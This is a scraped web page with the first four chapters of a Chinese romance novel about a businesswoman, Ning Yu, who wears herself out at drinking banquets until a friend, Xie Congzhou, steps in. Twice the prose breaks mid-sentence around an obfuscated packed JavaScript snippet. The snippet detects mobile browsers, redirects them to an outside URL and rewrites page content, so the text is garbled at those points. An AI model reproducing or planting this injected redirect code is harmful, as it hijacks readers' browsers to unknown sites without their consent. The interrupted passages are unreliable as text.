《墙根下[先婚]》 1. 挖呀挖 京北的秋季总是多雨,到了晚秋时节冷风伴着丝丝雨水,嗖嗖的吹在皮肤上,几秒钟就能激起一层鸡皮疙瘩。 空气里都带着冷腥味儿,往往比真正的冬季还要凉。 在这种温度下,黑色加长款林肯车停在酒店前,走下来的女人却露着一截纤细白皙小腿。 弧度十分优美,像是画中精心勾勒出来的线条,踩在黑色的翻毛短靴里,白的宛若一块羊脂玉。 宁豫穿着棕红色的皮裙,上身的白衬衫衣摆塞在裙子里,整个人精致而干练。 从车上走下来后,她看也没看旁边给她撑伞的助理,踩着高跟鞋走得飞快,直直的迈入雨帘踏上台阶,走进酒店大门里。 “宁总。”助理姓徐,有些狼狈的一面拉着行李箱一面跟上,抱歉地低声:“是我走的太慢了,您没淋到吧?” “没事。”宁豫摇了摇头,清冷的女声淡淡:“一点小雨而已。” 宁总,真的是个话很少的人。 徐助理忍不住在心里默默的想。 算起来他在宁氏工作的时间不算长,才半年而已,是两个月前才被调到宁豫身边当助理的。 面对着一团乱麻样的宁氏,这位刚刚才回国的宁小姐手腕狠辣干脆,不由分说的直接开了好几个高层示威。 杀鸡儆猴,上面的头都被弄了,底下蝇营狗苟的蚂蚁自然不敢尸位素餐。 只是威风出了,利落开人的弊端也逐渐显现。 宁氏一堆积压的工作无人处理,内部人心惶惶,本身前几个月就一个大单都没谈下来,现在又攒了这么多不知道能不能成的…… 让宁氏不少员工头顶都笼罩着一块‘不知道这个月能不能发工资’的阴影。 在这种内忧外患下,两个月前才回国的宁豫是这么做的。 她召集了所有对她不满的股东和经理,开了一个内部大会,亲自接过她开除的那三位高层手里的单子,并且承诺给她两个月的时间,会把企划书拍在他们面前。 小徐就是一个帮着宁豫处理杂事的小跟班,这两个月几乎是天天跟着宁豫到处飞,心里的情绪从不以为然也渐渐转为倾佩。 一开始他觉得大话谁不会说。 现在是真的通过这位女总经理过硬的业务能力,才打心眼里佩服她的。 这段时间他天天跟着宁豫,亲眼看到了她是怎么处理这些棘手的业务和酒局。 为了完成自己的承诺,女人没日没夜的做报表做融资也就算了,最重要的是她在酒局上的表现。 有那么几次,小徐都觉得宁豫要喝的胃出血了,结果她回到酒店把自己抠吐出来,倒在床上睡醒,第二天又是马不停蹄的一天。 一个打眼看去像是什么美艳女明星的大小姐,在风雨飘摇之际这般毅然决然的果敢,付出的精力和体力让男子都只有汗颜的份。 小徐亲眼看着宁豫是怎么熬过来的,又怎么可能不改观? “宁总。”他看着女人苍白瘦削的侧脸,轻声问:“要不要吃点什么?我去买。” “不了,你去把送给江总的礼物从车子上拿出来包好。”宁豫看了眼手表,纤细的指尖轻轻摁压着太阳穴解乏:“我先眯一会儿,半个小时后叫我。” 这个月还有三天结束,前两个大单都被她妥善又圆满的解决了,可偏偏这最后一个很难搞。 可以说,今晚的酒局是宁豫最后的机会。 在酒店顶层的套间,宁豫半眯着眼休息,她睡得并不踏实,甚至连浅睡眠都很难做到。 几天的连轴转让她是身心俱疲,倚着柔软的床头小憩,都感觉脑瓜仁连着耳朵嗡嗡作响。 昏昏沉沉间,总能想起下飞机时接到的电话。 “老四。”宁老爷子宁从光的声音带着股不怒自威的沉重,仿佛乌云压城的压在她的心口—— “我支持你进行这次董事会改革要承受多大压力,你是知道的。” “三个单子,必须全部拿下,别让我失望。” …… 别让我失望。 这句话对于宁豫而言,比任何咒骂或批评的话都有杀伤力。 对的,一直以来都是宁从光在暗地里扶持她,培养她,等到她年纪合适了才让她回来主张大局,她怎么能让他失望? 俗话说养兵千日用兵一时,这三个单子是宁从光交给她的第一个任务,也是她正式回到宁氏后面对的第一个难关。 无论如何,她也必须交出一张让所有人满意的答卷。 否则雷声大雨点小,虎头蛇尾,以后管理起公司的人只会更麻烦。 思绪有些紊乱的眯了会儿,不用小徐来叫,宁豫就自动自发的从混沌状态转为清醒了。 她拎着化妆包到洗手间补妆,等小徐过来敲门时,一个精致的妆容基本搞完。 微微有些挑起的英气黑眉,和涂得厚厚的复古风红唇,可以把所有憔悴和苍白都掩饰的密密实实。 更别说宁豫一双妖艳的眼睛无论什么时候都很明亮。 听到有人进来的声音,她头都没侧一下:“药给我拿来一下。” “哦,好。”小徐连忙应了声,去包里找来利尿片给宁豫。 这是她每次参加酒局之前必吃的东西。 准备妥当,司机开车送他们去附近订好的餐厅:金玉良缘。 顾名思义,也不算什么正经吃饭的餐厅,除了喝酒,另外一个用处就是‘结缘’了。 路上,小徐注意到宁豫一直在摁太阳穴,便轻声问:“宁总,您是不是不舒服?” “有点,昨天没睡好。”宁豫避重就轻。 “宁总。”小徐有些担忧:“您是不是熬夜改方案了?” “咱也不是没和天维的负责人吃过饭,你觉得他们一直不松口,是酒喝的不够好还是对利润点分配的不满意?” 宁豫轻笑一声,声音淡淡:“方案不多改几次轮番试探,怎么找出一个双方都觉得自己有钱可赚的折中点?” “宁总。”小徐真情实感的感慨:“真是辛苦您了。” “你也不轻松啊。”宁豫抬起唇角,微微笑了笑:“这一个月跟着我东奔西跑,很累吧?” 小徐有些惭愧:“不会……” “今天算是最后一站了。”宁豫细长的指尖无意识地转动自己另一只手中指的素戒,轻声道:“熬过今天,我们都能松口气。” 只是酒局如战局,也不是用嘴轻飘飘说一句熬过去就能过去的。 走进金玉良缘,宁豫就觉得自己右眼皮突突地跳——她本能感觉今天大概不会很顺利。 宁氏这边给足了天维的颜面,订的是金玉良缘里最大的包厢。 可那边的负责人刘总在酒过三巡后上了头,就阴阳怪气地笑道:“宁总,三次饭局都是你来陪我们喝,怎么宁氏是没男人了么?要你这么个姑娘家遭罪。” 宁豫倒酒的手一僵。 这话看似是‘为她抱不平’,但智力正常的仔细想想,就知道这姓刘的就是瞧不起女人来酒桌应酬。 思索片刻,宁豫笑了笑,抬眸看向刘总:“瞧您说的,毕竟宁氏想用最认真的态度来对待和天维的合作。” “我是宁氏的总经理,来招待刘总正好。”她顿了下,继续笑:“否则换成别人,还要被人误会是不是瞧不起刘总呢。” 一顿油滑的周旋,天维那边派来的几个负责人被哄得哈哈大笑。 人嘛,谁不爱听好话? 只是有的时候酒意上头再被人这么一捧,就容易飘了,更何况……宁豫确实是个活色生香的大美人。 就这么在眼前晃来晃去,难免让人心笙摇曳。 “来,宁总。”刘总走过去站在宁豫身后,虚虚的靠近后手臂绕着她给她倒酒:“再喝几杯。” 他们就算醉了也记得宁豫是宁氏正经的接班人,一脉同枝,太过造次肯定不行,只能虚晃着暧昧,若有似无的揩揩油。 在酒桌上,这实在是再常见不过的一种事。 就算她宁豫贵为千金小姐,但只要身处于这个大染缸里,就根本不可能免俗。 尤其,在她有求于人的时候。 宁豫忍着恶心尬笑,一面喝下刘总给她倒的酒,一面不动声色的躲避着他的咸猪手。 她身材极好,穿着烟灰色真丝缎面裙的姣好线条宛若泥鳅一般,就算躲来躲去的推杯换盏间,也是风情万种的。 包厢内亮闪闪的水晶灯仿佛都聚集在她有些微醺的明亮眼睛里了。 刘总看的口干舌燥,酒意愈发上头,也就愈发放肆,颤抖着手不断给两个人倒酒。 这就是快喝好了。 宁豫给徐助理使了个眼色,后者很有眼力见的立刻上来跟着周旋劝酒。 但刘总眼里只有宁豫一个,压根都懒得理徐助理,缠着女人还要跟她干杯。 其实宁豫在喝酒方面的天赋并不是很行,根本就不是那种千杯不醉的类型,就是成年后在酒局里硬生生练出来的。 现在少说被灌了双位数的酒,不但是双颊绯红,胃里也难受的紧。 不过幸好,来之前吃了利尿片。 “刘总,我去趟洗手间。”宁豫故作豪迈:“稍等一下,我们回来继续拼酒。” “好、好……”刘总也有些喝高了,傻笑着:“回来,回来的。” 宁豫笑容得体,踩着高跟鞋一步一步走在长长的走廊,直到进了洗手间笑意才落下来。 她捂着胃,几乎是冲进了厕所的隔间里。 克制着吐了一番,才感觉大脑从晕眩状态恢复了些。 从隔间出来后,宁豫跌跌撞撞地靠在洗手台前,她把水的温度调到最凉,不断冲刷着细长的手指,期 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595737|187436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间还不拘小节的掬了几捧清水漱口。 虽然脑子和胃疼得都快要炸开,但她还是很小心的注意着不要让清水打在脸上。 酒局还没完,妆容破坏掉了可不好。 宁豫喉咙滚动了几下,纤细的手指死死握着洗手台缓了一会儿,才直起身子翻包找口红。 “咦?”结果还没等补妆,门口就传来一道突兀的男声:“宁豫?” 这声音…… 宁豫一愣,连忙侧过头去。 映入眼帘的是一道修长的男人身影,他虚虚的依靠在洗手间的门框上,清瘦高挑的身材宛若衣架子,却架着一身花里胡哨的西装。 对于男人的脸来说,他面容英俊到近乎有些精致,眼尾微微上挑的桃花眼因为总是含笑的缘故,显得温柔又多情。 “……谢枞舟?”宁豫脑子已经有些混沌,慢了半拍才回过神:“你也在这儿啊。” 他们之间算是认识很久的朋友,还当过几年同学,但除此之外并没有什么更深厚的交情,此刻偶遇到了,对她而言就是淡淡打过招呼就算的关系。 “是啊,参加一个饭局。”谢枞舟漂亮的桃花眼在明亮的灯光下仿佛覆着一层水色,他顿了一下,唇角微微抬了抬:“你喝了不少?” “嗯。”宁豫刚刚吐过的嗓子有点沙哑,言简意赅的回了句。 她不想浪费时间,和谢枞舟交流的时候就已经拿起口红补妆了。 复古红,在有些苍白瘦削的脸上有种孤泠泠的明艳感。 谢枞舟瞳孔闪烁了下,划过一丝意味不明的情绪。 眼见着宁豫已经抓紧时间的点了根烟,似解乏又像是上瘾似的抽着,口红的痕迹印在烟嘴的纸上,暧昧又性感。 他黑眸里的情绪更深了几分,但掩藏的滴水不漏。 “你在哪个包厢?”谢枞舟吊儿郎当的问,在狭窄的聚拢空间内,声音显得低沉又清澈:“一会儿过去打个招呼。” “有什么好打的。”宁豫嗤笑了声:“无聊。” 她自己都嫌弃酒桌上的自己,自然是不想让熟人看见。 可谢枞舟却能看出来她的状态真的不怎么好,仿佛都快成一张拉到极限的弓了。 他但笑不语,宁豫不配合他就硬缠着,从洗手间一路跟到了包厢门口。 撵也不走,弄的女人颇为无奈,却没时间拉下脸来发火——毕竟徐助理已经打电话来催了。 宁豫最后整理了一下头发,快步走回包厢,谢枞舟就那么死皮赖脸的一路跟着过去。 等推开包厢的门走进去,入眼就是刘总喝的满脸潮红,见到宁豫嘻嘻哈哈的抱怨:“宁总,怎么去了那么久……” 说着还凑了过来,伸出肥厚的手准备搂人。 谢枞舟这个时候才走了进来,长腿迈了几步,几乎是闪现在宁豫背后。 “刘总。”他轻挑了下唇角,皮笑肉不笑:“好巧啊,在这儿碰到。” “谢、谢少。”刘总一愣,酒立刻醒了大半,忙赔笑道:“是挺巧,您怎么在这儿?快坐快坐。” “陪朋友吃个饭。”谢枞舟应了他的邀请,倒是从善如流的坐下了:“见着老熟人了,打个招呼。” 他一只长臂搭在宁豫的肩上,迫使她一起坐下,挨着自己。 宁豫秀气的眉头不自觉地皱了皱,倒也没有当场挣开。 刘总见到他们这般‘亲密’的状态,有些意外:“谢少和宁总……认识?” “当然认识了,而且很熟呢。”谢枞舟虽是笑着,但看着刘总的眼睛里却没什么笑意,反而冷冷清清的:“你们这是在谈生意?” “是啊。”刘总呵呵笑着,身子都站直了些:“天维有些业务想和宁氏合作,正谈着呢。” “哦……”谢枞舟不顾宁豫暗暗推他,修长的手指转动桌上的玻璃杯,轻笑道:“喝的不少。” “哈哈哈哈,是啊。”刘总短暂的惊讶过后,就又恢复到喝高的状态了:“既然谢少是熟人,不如也跟着喝几杯?” 其实他只是客套的寒暄,但没想到男人真的一口答应下来。 “行啊。”谢枞舟抬眸:“你们还要喝多久?” “……啊?” “我帮宁总喝。”谢枞舟指尖轻点着大理石的桌面,在一片寂静里,声音明显。 这下子刘总可惊讶了,怔愣片刻,目光立刻转为暧昧,在谢枞舟和宁豫之间转来转去,嘿嘿笑道:“谢少,您和宁总……” “刘总,你可别误会。”谢枞舟在宁豫开口撵他之前,率先解释:“我是帮别人英雄救美的。” “啊?别人?” “是啊,您难道不知道宁总和耀锦的李总是未婚夫妻么?”谢枞舟微微耸肩,模样懒散中带着一丝警告:“我和李之逞可是好哥们儿。” “来帮嫂子挡挡酒,人之常情。” 2. 挖呀挖 刘总酒醒了大半,出了一身的冷汗。 要不是谢枞舟的提醒,他还真的忘了这件事。 眼前这位陪着他们觥筹交错的宁总可不光有宁氏千金这个身份,她更是耀锦集团太子爷李之逞的未婚妻。 耀锦是做港口运输生意的公司,在京北属于绝对的商业巨鳄。 本来一个宁氏就不好对付了,加上耀锦岂不是更麻烦? 况且自己现在是来谈合作的,根本没有交恶的必要。 只是这么灌李之逞的未婚妻还被他兄弟撞见了…… 刘总感觉是喝高了上头,给自己惹到麻烦了。 “啊这。”他像是突然变成了不会说话的哑巴,从长袖善舞变得‘支支吾吾’,尬笑道:“误、误会,都是误会。” 刘总觉得他真是倒霉。 宁豫和李之逞是订婚关系这件事是实打实的,但问题就在于他们是在好几年之前订的婚,远在四五年之前。 订婚过后宁豫就出国了,这么多年,这对未婚夫妻也没同框过几次,圈子里的人十有八九都忘了这事儿了,其中也包括他。 要是早就想起来的话,酒该灌还是得灌,这是行走职场的铁规则,但他肯定不会偷偷揩油就是了。 刘总有些尴尬地讪笑了声,态度比之之前的轻挑,恢复了一些正经:“宁总,你刚刚去洗手间的时候,小徐给我们看过新方案了。” “说实话,这次的条件比上次确实有修改,但还是……” 他欲言又止的留白,让宁豫自己去品。 “刘总这就有些说笑了。”宁豫心里一沉,面上却不动声色的微笑:“我敢说产品而言,我们宁氏肯定是最好的。” “或许天维选择别的供应商,在协议上会多那么一两个利润点,但品控上我认第二,京北怕是没有哪家公司敢认第一的。” “刘总,我是真心实意的想和天维合作,所以才会一再修改方案,毕竟我认为生意人最忌讳的四个字就是‘因小失大’。” 宁豫不想因为几个利润点失去天维这种财力雄厚的合作伙伴,所以她会踩着底线一再修改合同。 但同样的,她也不会无底线的当冤大头。 她不想因小失大,同时也在提醒着刘总不要因小失大——毕竟,宁氏也不是只有天维这么一家合作伙伴。 刘总眼珠微顿,闪过一丝若有所思的情绪。 “哈,宁总,这么严肃干吗,谈生意嘛,讲究的就是一个诚意。”他拿过一个大号的酒杯,倒上满满当当的茅台:“俗话说感情深一口闷,咱们两家公司不是第一次合作,宁氏钢材的质量是好,这京北谁不知道?但我们天维可从来没占过任何公司的便宜,向来都是利益均分。” “说实话,天维眼下的合作对象可选择的不少,就算大多品控都没有宁氏好,但折合年份,使用程度和签约合同的价格,也能做到不亏。” “可现在宁氏的情况应该不算太好吧?” 玻璃杯里的酒纯净的近乎有些刺眼。 宁豫明亮的双眸眯了眯,不由感慨刘总果然是个厉害角色。 他的话字字珠玑,正好戳中她现在的所有软肋——宁氏的品控质量的确数一数二,但在眼下这一团乱麻的企业管理里,并不算是无可替代。 她手中的牌有限,就得表现出来足够的‘诚意’。 宁豫的目光落在了那大号玻璃杯上。 其实酒局文化这东西很有意思,合作方喝到伤喝到吐并不会带给对方什么好处,但在根深蒂固的局限性思维里,这偏偏就能代表‘诚意’。 刘总倒也并不是想让她再让一些利润,他倒这杯酒的意思很明显,就是想让她喝酒罢了。 宁豫沉思片刻,纤细的手伸向酒杯——可杯口却被一只修长的手扣住了。 “刘总,不就是杯酒么?”谢枞舟笑了笑,声音闲适:“酒这东西多没意思,代表不了什么诚意。” 捣什么乱? 谢枞舟的又一次突兀开口让宁豫皱了皱眉。 “哦?”可刘总倒是很感兴趣,轻挑了下眉:“那以谢少的意思,诚意这东西该怎么体现呢?” “我前段时间去了趟筠城,刘总,你知道那地儿的人谈生意都喜欢去哪里么?” “我得五六年没去北边了。”刘总挺好奇:“都在哪儿?” “温泉山庄。”谢枞舟笑了笑,压低的声音颇为神秘:“我还特意带了个合作伙伴回来招待,他对这里的门道可是最清楚了,刘总想不想体验一下?” ‘温泉’这两个字的冲击力不亚于一些隐蔽会所那种香艳之处,刘总愣了下,回过神后就虚伪的推拒着:“这…不太好吧?” “嗯?不好么?刘总,我说的是泡温泉啊,你想哪儿去了。”谢枞舟歪了歪头,神色颇为无辜:“那边的人就喜欢边泡着边谈事儿,算是他们的酒桌文化,像是我带来的这哥们儿,刚来没几天就在咱们京北找到了最好的山庄,你要是想体验一下,我就让他安排安排。” …… 这青年人,说话像个滑不溜丢的老狐狸。 刘总心下默默吐槽着,但身体本能却不想真正拒绝,尬笑了两声就应下来,和他一起揣着明白装糊涂:“好啊,那真是麻烦谢少了。” 以刘总的精明,怎么可能看不出来谢枞舟是想给宁豫解围? 正巧,他也能顺水推舟结了这个人情。 毕竟比起‘为难宁豫喝杯酒’这件事,和谢枞舟结交显然更有价值。 泡温泉这事儿,也就是个幌子。 接下来的互相寒暄也就是走个过场,各自又碰了一小杯酒过后,顺理成章的签下合同。 直到按下手印的那一瞬间,宁豫才重重地松了口气。 两个月以来的连轴转终于告一段落,她心气儿一松,几乎有立刻晕过去的冲动。 但是,还有一件不明白的事在心里吊着——谢枞舟为什么莫名帮她这次? 他们之间虽然认识挺多年,却始终不算太熟。 谢枞舟和李之逞是好哥们儿没错,但自己和李之逞这有名无实的‘未婚夫妻’的关系,也根本算不上有交情。 等刘总团队的几个人都被专车接走,本来有些拥挤的包厢瞬间空落落的。 宁豫给徐助理使了个眼色,示意他也先出去。 徐助理连一丝好奇都没表现出来,很听话的立刻出去了。 等包厢只剩下他们两个人,宁豫才开口问谢枞舟:“为什么帮我?” 她清清冷冷的声音有些沙沙的哑,不光 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踩着高跟鞋歪歪扭扭时,一双修长有力的大手揽住她的腰。 “怎么了?”谢枞舟好像比她本人反应更快似的,站起来扶住她,长眉微蹙:“头晕?还是哪儿难受?” 宁豫微微咬着牙,根本没力气推开他。 她一只手不受控制的按在他的手臂上,另一只手则是捂着自己的胃。 “疼……”宁豫脸色苍白如纸,难得低声示弱,清冷的声线都有些抖:“胃疼…麻烦送我去一趟医院。” 她这段时间喝的酒太多,不知道是不是量变引起质变。 谢枞舟目光一顿,二话不说地弯腰将她抱起来。 宁豫虽然瘦,但个子高,身材是修长纤细的类型,可在男人结实有力的臂弯中,居然破天荒显出了几分娇小感。 她觉得有些别扭,但胃里隐约传来的撕裂感让其呼吸都在作痛,自然是没力气再说什么了。 甚至想道个谢,开口都觉得艰难。 “先不用说谢。”谢枞舟好像知道她在想什么一样,淡淡道:“等你好了再谢吧。” 宁豫眨了眨眼,有些意外又有点想笑。 这人怎么……说得好像挺了解她似的。 可宁豫也实在是没有精力去多想什么。 她身体里紧绷的那根弦骤然松懈,整个人就有种到了‘临界点’的错觉。 临界点,指的就是胃里疼的要命却也能困的在去医院路上就睡着。 “乖乖。”谢枞舟红灯停下,侧眸看到的就是宁豫闭眼沉睡的画面,他喃喃地念叨:“是有多累……” 发青的眼底遮都遮不住,在苍白的脸上明显得很。 就连闭上眼睛小憩,英气的眉也是骄傲的皱着,不知道究竟谁有那个能耐能让她展颜微笑。 似乎从第一次见到宁豫那天起,她就总是忧心忡忡,心事重重。 尚且只是个十六七岁少女的时候,都那般万事藏在心里一个人扛的倔强。 谢枞舟修长的喉结轻轻滚动,又看了她一会儿。 直到绿灯亮起,他才重新转过视线,发动车子。 3. 挖呀挖 宁豫是被手机不停的震动声吵醒的。 长时间的缺少睡眠,现如今没有担忧的睡觉让她体验感很好,本能的不想从优良的深度睡眠里抽身,皱着眉好一会儿才恢复意识。 她闭着眼摸到手机接通电话,放到耳边:“喂……” 喝过酒直接睡觉,声音嘶哑的厉害,基本就是传说中的‘破锣嗓子’。 “姐!你在哪儿呢?打这么久电话也不接!”电话对面的男声风风火火,着急忙慌:“我有急事儿找你!” 你能有什么急事。 宁豫在心里默默的腹诽,不咸不淡地应了声:“嗯。” “姐,你借我点钱吧。”宁晟拔高的声调因为在求人本能的弱下来,带了一丝卑微:“我真是急事儿,你给我转五十万行么?” 宁豫:“……” “呃,姐,你怎么不说话?”宁晟有些惴惴不安,声音又低了几度:“要不,三十万也行,爷爷把我的卡全冻结了,爸妈一分钱都不敢给我,我这一点零花钱都没有也没面子啊。姐,咱们全家只有你敢给我钱了,求你了姐,姐。” 一个大男生说着要零花钱,竟像是撒娇耍赖似的。 这货平日里不怎么给她打电话,一打电话准是又缺钱来伸手要钱了,比天气预报都准。 宁豫被他气的半死,只觉得刚好的胃都又疼了,她张口想骂他,但饱受摧残的嗓子一口气没上来反而灌进去了风。 激的她疼痛不堪,咳嗽的停不下来。 宁豫咳的眼泪都出来了,本来平躺的身子不得不坐直顺气,闭着的眼睛这才舍得睁开。 结果就看见一杯水递到自己的面前。 她意识到房间里有人,立刻克制住了咳嗽声。 宁豫顺着那只握着水杯的修长手腕看过去,依旧是谢枞舟笑吟吟的脸。 “给。”他也不知道旁听了多久,才会这么及时的把水递过来,一脸无辜:“喝两口吧,你嗓子不疼么?” “姐?姐?你怎么了?”电话对面的宁晟是又着急又疑惑:“你旁边谁在说话?” “我一会儿打给你。”宁豫说完就把电话挂了。 “宁晟?”显然谢枞舟已经听到电话些许的内容,毕竟在绝对封闭的安静空间里,手机保密性再好也会泄露出声音的。 他见宁豫不接水杯,干脆拿回来自己喝了口,笑道:“他还是老样子啊。” 标准败家子的老样子。 打电话过来明明听见姐姐的声音不对劲儿,第一反应竟然不是关心一下,依旧是要钱。 宁豫无意和他讨论自己家里人是个什么样子,只轻声问:“你怎么还在这里?” “嫂子,我难道要把你一个人扔在医院么?”谢枞舟轻笑了声,眼底却划过一丝不易察觉的冷:“你不但胃出血,血小板也低的吓人…到底是喝了多少酒?” 他最后半句话,竟然带上几分感慨的味道。 宁豫不语,目光落在自己扎着针头的白皙手背上。 “你的血管很明显。”谢枞舟和她一起看过去,戏谑道:“护士说这样的血管最好扎了,所以她动作很轻。” 轻到没有打扰到她的沉睡。 但宁豫知道,谢枞舟是在暗示她过于瘦了。 倒也是,这一个月就没有吃过一顿好饭。 她下意识的想摸摸自己的脸,但又把这种冲动克制住,只是点了点头。 “谢谢。”宁豫再次道谢,看向吊瓶里所剩无几的液体:“是你帮我看着的吊水?” “是啊。”谢枞舟眨了眨眼:“我人好吧。” …… 没想到有半年多的时间未见,他还是这般不要脸。 宁豫难得被逗到,抿唇笑了笑:“嗯,我现在醒了可以自己看着,就不麻烦你了。” “你让我好人做到底吧,反正这是最后一瓶了。”谢枞舟耸了耸肩:“完事送你回家。” “不用了。”宁豫下意识的拒绝,等说完才意识到自己的口吻太生硬,忙补充了句:“太耽误你的时间了。” 谢枞舟:“你本来就耽误一下午了。” “……” “不过没事。”谢枞舟看了眼手表,笑笑:“反正我今天没什么事,就当帮…嫂子的忙了。” ‘嫂子’这个称呼真是让宁豫怎么听怎么别扭,偏偏眼前这人还挺喜欢这么叫的。 她皱了皱眉,只好说:“那麻烦你了。” 想想她和谢枞舟从少年时期就认识,也当过同学,的确不是生疏到连个忙都不能帮的关系,况且,自己是被他送来的,没有车回去。 要是点完滴还得在秋末寒风里排队打车,未免有些太凄惨了。 宁豫看了眼手机上的时间,才发现自己已经睡了两个小时了。 怪不得三瓶吊瓶都快点完。 她无视了一连串的未接电话,点开微信看了眼。 徐助理已经把和天维签下合约的事情公之于众,宁氏大大小小的员工群里皆是欢呼雀跃的声音。 宁豫细长的手指翻动,看着看着唇角就带上一丝笑意。 她之所以这么不要命的努力,归根究底就是为了看到这样的反馈罢了。 只是宁豫专注看手机,并没有发现谢枞舟在看她。 而且是,肆无忌惮的看。 屋内沉默半晌,男人忽然问:“什么时候回国的?” “两个月前。”宁豫正在回信息,不假思索地回答:“比你晚三个月。” 谢枞舟一听就笑了:“你还记得我什么时候回来的呐。” 嘿,足够让人开心了。 “不是你跟我说的么?”宁豫放下手机,抬眸看他一眼。 他们之前都在慕尼黑留学,虽然院校不同,但由于教学楼翻新的缘故,有两年是在一个校区生活的。 那段时间,还常常遇到呢。 “是啊,我跟你说的。”谢枞舟笑着回应了一句,顷刻便转移话题:“回来后和阿逞见过没?” “还没有。”宁豫摇了摇头,诚实的回答:“都太忙了,不过……” “最近可以见了。” 她忙完了。 宁豫提起李之逞的时候,一向平静中带着点严肃的情绪就变了。 虽然波动不大,但眉梢眼角多多少少也能透露出一点点缱绻温柔的女人家情绪。 那是喜欢一个人才会有的表现。 不了解宁豫的人,是看不出来这细小的变化的。 可偏偏谢枞舟很了解,甚至,他比任何人都了解。 所以才会因为她一个浅浅的表情,就搅得五脏六腑仿佛都错位,生疼。 “是啊。”谢枞舟配合的笑着,喃喃道:“你不忙了,就有时间可以约会了。” 可是,李之逞那个家伙是粗心的。 会不会做点好吃的帮她养胃,又或者,督促她吃生血小板的药呢? 他不会的,那家伙的身边有另外一个女人。 “嗯?”宁豫没太听清他的嘟囔,追问了句:“你说什么?” “没什么,说你该好好休息一阵子了。”谢枞舟微微低头,额前偏长的碎发落在眼睫上:“血小板偏低这种事别不以为然,不注意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595739|187436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话,容易发展成别的病。” 这句真情实意的关心让宁豫愣了下,有点不知道说什么好。 她莫名觉得挺讽刺的。 天维签约成功后,她消失这大半天都没有接到父母的电话,唯一打过来的宁晟还是和她要钱的。 家里人,反倒没有谢枞舟这种外人更关心她。 不过,自己也应该早就习惯了不是么? 大家族里,哪有那么多兄友弟恭慈善和睦,有的只是不顾一切向上爬罢了。 从被宁从光当作继承人培养的那天,宁豫就已经做好了时刻会成为‘众矢之的’的准备。 宁豫迅速收起了一些不该有的情绪,恢复如常。 “谢谢,我会按时吃药的。”她对谢枞舟笑了笑:“接下来倒是可以休息一周。” 三个大单子都忙完了,不管是从心里还是生理的角度上,她也确实该给自己放个假。 “一周?”谢枞舟挑了下眉:“这么短?” “短么?”宁豫不以为然:“不短了,过后还有一个合同要谈。” 那家只会比天维更难搞。 想到此处,她这个工作狂就若有所思地皱起眉了。 谢枞舟几乎都能看出来她的内心想法,哭笑不得。 “生病就别想工作了。”他站起来,走到病床旁边握住输液管,试图让进入宁豫体内的液体温吞一些。 男人个子很高,突然站起来会有一种短暂的骤然压迫感。 尤其是他还走近,微微弯身,一双漂亮的桃花眼眨也不眨地看着她,仿佛很认真地问:“宁豫,你要不要去一个好玩的地方?” 这次没叫嫂子了。 宁豫有一瞬间的愣神,可很快就找回情绪,面对他的询问,偏了偏头:“什么地方?” “度假山庄,在南山脚下。”谢枞舟直起身子,桃花眼弯起:“我投资的。” ……所以这是给自己的投资项目拉客源吗? 宁豫思索片刻,点了点头:“可以试试。” 反正她是要给自己放个假,去哪里都一样。 眼见着吊瓶里的液体到底,宁豫想站起来摁墙上的护士铃。 只不过谢枞舟更快一步,帮她按了。 宁豫的指尖不小心碰到他微凉的手背,轻轻一怔,连忙缩了回来。 “呃。”她有些别扭的转移话题:“度假山庄的具体位置在哪儿。” “甭担心。”谢枞舟也和没事人一样,笑了笑:“到时候一起去。” “啊?”宁豫不明所以。 “我是股东啊,经常要去看看的。”谢枞舟说得理所当然:“拉你过去也就是顺路的事,或者,把阿逞也叫上?” 宁豫一愣,倒是真的顺着他的话想了想。 自己欲盖祢彰的话成了一个有可能促成的约会,谢枞舟此刻,就是很想给自己一巴掌。 不过幸好,护士推门进来了。 拔针打断了宁豫的遐思,她纤细的指尖摁着棉球止血。 谢枞舟见状,拿起她的大衣帮她披在身上。 男人微微俯身的时候,藏在衬衫里的项链顺着他线条分明的一字锁骨向下滑,不老实的窜了出来。 白金的冷感很抓眼,宁豫不自觉的抬眸去看——谢枞舟的项链很简洁,吊坠就是一个颇有设计感的‘Y’字母。 比起他花里胡哨的穿衣风格,配饰真是过于简单了。 宁豫的视线不自觉从吊坠落在谢枞舟的衬衫上,除了花哨,还有一丝香艳。 例如,他衬衫领口若隐若现的一丝红色唇印。 4. 挖呀挖 宁豫拜托谢枞舟把自己送回宁氏的老宅。 其实她并不经常回去那里,只是今天完成了所有工作,需要当面去和宁从光汇报一下。 谢枞舟听话的很,开了导航,她让往哪儿开就往哪儿开。 路上的时候,或许是因为太过寂静,宁豫主动挑起话题:“你回国后在哪里工作,兆景?” 兆景是谢枞舟家中的企业,按照正常思路,他们这样的世家子弟在留学深造后是要回家族企业工作的。 只是,这男人向来不走寻常路。 “没有,自己搞了个工作室。”谢枞舟抬了抬唇角,回答的尽显纨绔子弟的作风:“手里有点闲钱随便投资一下,饿不死就成。” “谦虚了吧?”宁豫微微挑眉:“前几年打败一堆大牛拿了Pwnies,会没有公司请?” 谢枞舟不愿意回家族企业是能理解的。 毕竟‘兆景’是做房地产的生意,而他感兴趣并且去德国留学的专业,从来都是零件制造。 在德国的零件比赛上,他就已经是位名声鹊起的工程师了。 因为都在慕尼黑留学,期间有两年还是一个学区的缘故,宁豫时不时的就能听到他的消息。 